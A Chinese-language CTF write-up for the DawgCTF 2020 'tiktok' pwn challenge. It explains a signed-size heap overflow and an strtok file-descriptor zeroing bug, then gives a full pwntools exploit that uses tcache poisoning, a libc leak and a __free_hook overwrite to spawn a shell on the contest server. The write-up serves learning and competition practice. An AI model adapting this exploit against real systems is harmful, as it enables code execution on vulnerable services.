DawgCTF2020国际赛pwn之tiktok

161 篇文章 24 订阅
161 篇文章 9 订阅

tiktok

这是DawgCTF 2020国际赛的一题,作为一血所得者,还是很高兴的。

首先,检查一下程序的保护机制,发现没开PIE

然后,我们用IDA分析一下,import_song函数打开文件描述符,然后存储在路径的后面那个空间

Play_song函数从打开的文件描述符里读取数据,申请的堆大小为nbytes+1,然后从文件里读取数据存入堆里,并打印出来。

Remove_song函数清除该歌曲的信息

第一个漏洞点在于play_song函数里存在一个整数符号的问题

nbytes为有符号数据,因此成功nbytes的值为-1,0那么buf = malloc(0),而read则是read(fd,buf,-1);由此造成了堆溢出。然而,fd是已经存在的文件的文件描述符,显然nbytes不能直接被控制,read的内容也不能直接控制。因此,还需要第二个漏洞才可以完成利用。

通过调试,我们可以知道,文件描述符fd存储在songs后面。

而strtok会以指定的字符来分隔字符串,其分隔原理就是将指定的字符替换为\0

最开始用户可以输入长度为0x18的文件名,而songs+0x18正好是fd的位置。

如果,我们的文件名里不包含.号,而fd的值正好为46的时候,由于字符串以\0结尾,所以fd也被算入字符串里,strtok(0,’.’)就会将fd设置为0,因为46对应的ascii字符为.号。而fd被设置为0的时候,我们就可以利用第一个漏洞来溢出堆了。

Linux fd总是依次递增的,因此,我们需要先import_song n次,使得fd正好为46。然后playsongs的时候,就可以从终端输入数据,进而溢出堆。由于glibc版本为2.27,因此可以直接伪造next指针,实现任意地址分配。由于没有开启PIE,我们分配到songs数组里,控制songs数组,即可实现任意地址读,泄露地址后,再次伪造next指针分配到free_hook处,写入system地址,触发即可。

#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
system_s = libc.sym['system']
elf = ELF('./tiktok')
system_got = elf.got['system']
songs = elf.symbols['songs']
#sh = process('./tiktok')
sh = remote('ctf.umbccd.io',4700)
def open_fd(path):
   sh.sendlineafter('Choice:','1')
   sh.sendlineafter('path.',path)

def add(index,size = 0,content = ''):
   sh.sendlineafter('Choice:','3')
   sh.sendlineafter('Choice:',str(index))
   if size != 0:
      sh.sendline(str(size).ljust(0x4,'\x00'))
      sh.send(content)

def delete(index):
   sh.sendlineafter('Choice:','4')
   sh.sendlineafter('Choice:',str(index))


#1
open_fd('Rainbow/godzilla.txt')
#2
open_fd('Rainbow/godzilla.txt')
#3
open_fd('Rainbow/godzilla.txt')
#使得文件描述符递增到45
for i in range(40):
   print i
   open_fd('Warrior/')
#文件描述符为46,46对应ascii字符.号,会被strtok置0,从而使得我们可以指定size,进而溢出堆
open_fd('Warrior'.ljust(0x18,'/'))

add(4)
add(5)
add(2)

add(6)
add(7)
add(8)
add(9)
add(42)
add(43)

delete(2)
delete(6)
delete(5)
delete(4)
#溢出,修改tcache的next指针指向songs+0x18,当申请到songs+0x18时,songs+0x18处会被置0
#而songs+0x18处对应的是1的fd
add(44,-1,'a'*0x10 + p64(0) + p64(0x21) + p64(songs+0x18) + 'a'*8 + p64(0) + p64(0x311) + p64(songs+0x38))
add(10)
add(11) #这里将导致songs+0x18处置零
add(3) #取出0x310的第一个chunk
#分配到songs+0x38,控制整个songs结构体数组
#2
fake_struct = p64(0)*3 + p64(4)
fake_struct += p64(songs) + p64(songs+0x8)
fake_struct += p64(system_got)
#3
fake_struct += p64(0)*3 + p64(0) #fd设置为0
fake_struct += p64(songs) + p64(songs+0x8)
fake_struct += p64(0)
#4
fake_struct += p64(0)*3 + p64(0) #fd设置为0
fake_struct += p64(songs) + p64(songs+0x8)
fake_struct += p64(0)
#5
fake_struct += p64(0)*3 + p64(0) #fd设置为0
fake_struct += p64(songs) + p64(songs+0x8)
fake_struct += p64(0)

add(1,768,fake_struct) #分配到songs+0x38
#泄露setvbuf的地址
add(2)
sh.recvuntil('\n')
system_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = system_addr - system_s
free_hook_addr = libc_base + libc.symbols['__free_hook']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'free_hook_addr=',hex(free_hook_addr)
#向tcache bin里放两个0x20的chunk
delete(43)
delete(42)
#将42代表的chunk申请到3,这样可以和前面一样的道理来溢出,修改43的next指针
add(3,-1,'/bin/sh'.ljust(0x10,'\x00') + p64(0) + p64(0x21) + p64(free_hook_addr))
add(4,-1,'a')
#写free_hook
add(5,-1,p64(system_addr))
#getshell
delete(3)

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值